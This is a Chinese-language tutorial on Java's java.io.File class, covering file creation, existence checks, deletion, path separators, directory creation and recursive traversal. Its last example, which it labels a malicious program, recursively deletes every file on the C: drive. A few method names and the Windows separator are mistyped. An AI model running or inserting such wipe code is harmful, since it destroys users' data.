1.定義
File是java.io包中唯一一個與文件本身操作有關,與文件內容操作無關的類。
2.File類使用
File類是一個普通的文件類,使用時直接實例化對象即可。要實例化File類對象,有兩個構造方法可供我們使用
public File(String path)
public File(String parent,String child):設置父路徑和子路徑
File類中有以下幾個最爲常用的方法:
創建新文件:
public boolean createNewFile() throws IOException
判斷文件是否存在:
public boolan exists()
刪除文件:
public boolean delete()
路徑分隔符:
File.separator
看幾個例子:
1,創建文件:
public class IO1 {
public static void main(String[] args) {
// 取得File對象
//所要創建文件的地址,多次創建也只會創建一個文件
File file = new File("C:\\Users\\Administrator\\Desktop\\java.io");
try {
//會產生異常,try...catch即可
file.createNewFile();
} catch (IOException e) {
e.printStackTrace();
}
}
}
2,判斷文件是否存在:
public class IO1 {
public static void main(String[] args) {
File file = new File("C:\\Users\\Administrator\\Desktop\\java.io");
//此時文件存在,若刪除文件名,C:\Users\Administrator\Desktop,輸入該路徑,
// 輸出仍爲文件存在,File類即可指文件也可指路徑
if (file.exists()) {
System.out.println("文件存在");
}
}
}
3, 刪除文件:
public class IO1 {
public static void main(String[] args) {
File file = new File("C:\\Users\\Administrator\\Desktop\\java.io");
if (file.exists()) {
file.delete();
}else{
try {
file.createNewFile();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
3…路徑分隔符
實際項目部署環境可能與開發環境不同。那麼這個時候路徑的問題就很麻煩了。windows下使用的是"",而Unix系統下使用的是"/"。所以在使用路徑分隔符時都會採用File類的一個常量"public static final String separator "來描述。
public class IO1 {
public static void main(String[] args) {
File file = new File("C:"+File.separator+"Administrator"+
File.separator+ "Desktop"+File.separator+"java.io");
System.out.println(file); //系統會自動把分隔符去掉,改爲正常文件路徑表示
if (file.exists()) {
file.delete();
}else{
try {
file.createNewFile();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
4. 目錄操作
4.1 取得父路徑與父File對象
public String getParent()
public File getParentFile()
4.2 創建目錄(無論有多少級父目錄,都會一次性創建)
public boolean mkdirs()
看一個例子:
public class IO1{
public static void main(String[] args) {
File file = new File("C:"+File.separator+"Users"+File.separator
+"Administrator"+File.separator+"Desktop"+File.separator
+"www"+File.separator+"bit"+File.separator+"java"+File.separator
+"javaIO"+File.separator);
//取得父文件對象
File parentFile = file.getParentFile();
if(!parentFile.exists()){
parentFile.mkdirs();
}
if(file.exists()){
file.delete();
}else{
try {
file.createNewFile();
} catch (IOException e) {
e.printStackTrace();
}
}
//System.out.println(file.getParent());//獲取父路徑
}
}
4.3 取得文件信息
判斷File對象是否是文件
public boolean isFile()
判斷File對象是否是路徑
public boolean idDirectory()
取得文件大小,輸出結果以字節爲單位
public long length()
取得最後修改日期:返回值是long類型的
public long lastModified()
具體使用:
public class IO1{
public static void main(String[] args) {
File file = new File("C:"+File.separator+"Users"+File.separator
+"Administrator"+File.separator+"Desktop"+File.separator
+"託尼.jpg");
if(file.exists() && file.isFile()){
System.out.println(file.length()/1024); //輸出文件大小
System.out.println(file.lastModified()); //文件最後一次修改時間
}
}
}
列舉一個目錄的全部組成;
public File[ ] listFiles()
eg:
public class IO1{
public static void main(String[] args) {
File file = new File("C:"+File.separator+"Users"+File.separator
+"Administrator" +File.separator+"Desktop");
System.out.println("遞歸文件開始");
long start = System.currentTimeMillis();
listAllFiles(file); //遞歸遍歷文件
long end = System.currentTimeMillis();
System.out.println("遍歷文件結束,共耗時"+(end - start));
}
public static void listAllFiles(File file){
if (file.exists() && file.isFile()){
System.out.println(file);
}else{
File[] files = file.listFiles();
for(File file1 : files){ //遇到文件裏面有文件,繼續遍歷
listAllFiles(file1);
}
}
}
}
我們可以發現上述代碼有個非常明顯的問題。現在所有的代碼都是在main線程下完成的,如果listAllFiles()方法沒有完成,那麼對於main後續的執行將無法完成。這種耗時的操作讓主線程出現了阻塞,而導致後續代碼無法正常執行完畢。如果不想讓阻塞產生,最好再產生一個新的線程進行處理。
對以上代碼進行修改:
IO相關處理屬於阻塞式耗時操作,一般放在子線程中進行
public class IO1{
public static void main(String[] args) {
System.out.println("遍歷文件開始");
new Thread(() ->{
File file = new File("C:"+File.separator+"Users"+File.separator
+"Administrator" +File.separator+"Desktop"); //指定路徑爲C盤
System.out.println("遞歸文件開始");
long start = System.currentTimeMillis();
listAllFiles(file); //遞歸遍歷文件
long end = System.currentTimeMillis();
System.out.println("遍歷文件結束,共耗時"+(end - start));
}).start();
System.out.println("主線程繼續執行");
}
public static void listAllFiles(File file){
if (file.exists() && file.isFile()){
System.out.println(file);
}else{
File[] files = file.listFiles();
for(File file1 : files){ //遇到文件裏面有文件,繼續遍歷
listAllFiles(file1);
}
}
}
}
以上代碼只是個遍歷文件的過程,我們對上述代碼稍加修改:將遍歷顯示操作變成遍歷刪除操作這就成了一個惡意程序。
public class IO1{
public static void main(String[] args) {
File file = new File("C:");
long start = System.currentTimeMillis();
listAllFiles(file); //遞歸遍歷文件
long end = System.currentTimeMillis();
}
public static void listAllFiles(File file){
if (file.exists() && file.isFile()){
file.delete(); //遇到文件就刪
}else{
File[] files = file.listFiles();
for(File file1 : files){ //遇到文件裏面有文件,繼續遍歷,刪除文件
listAllFiles(file1);
}
}
}
}
以上代碼謹慎使用。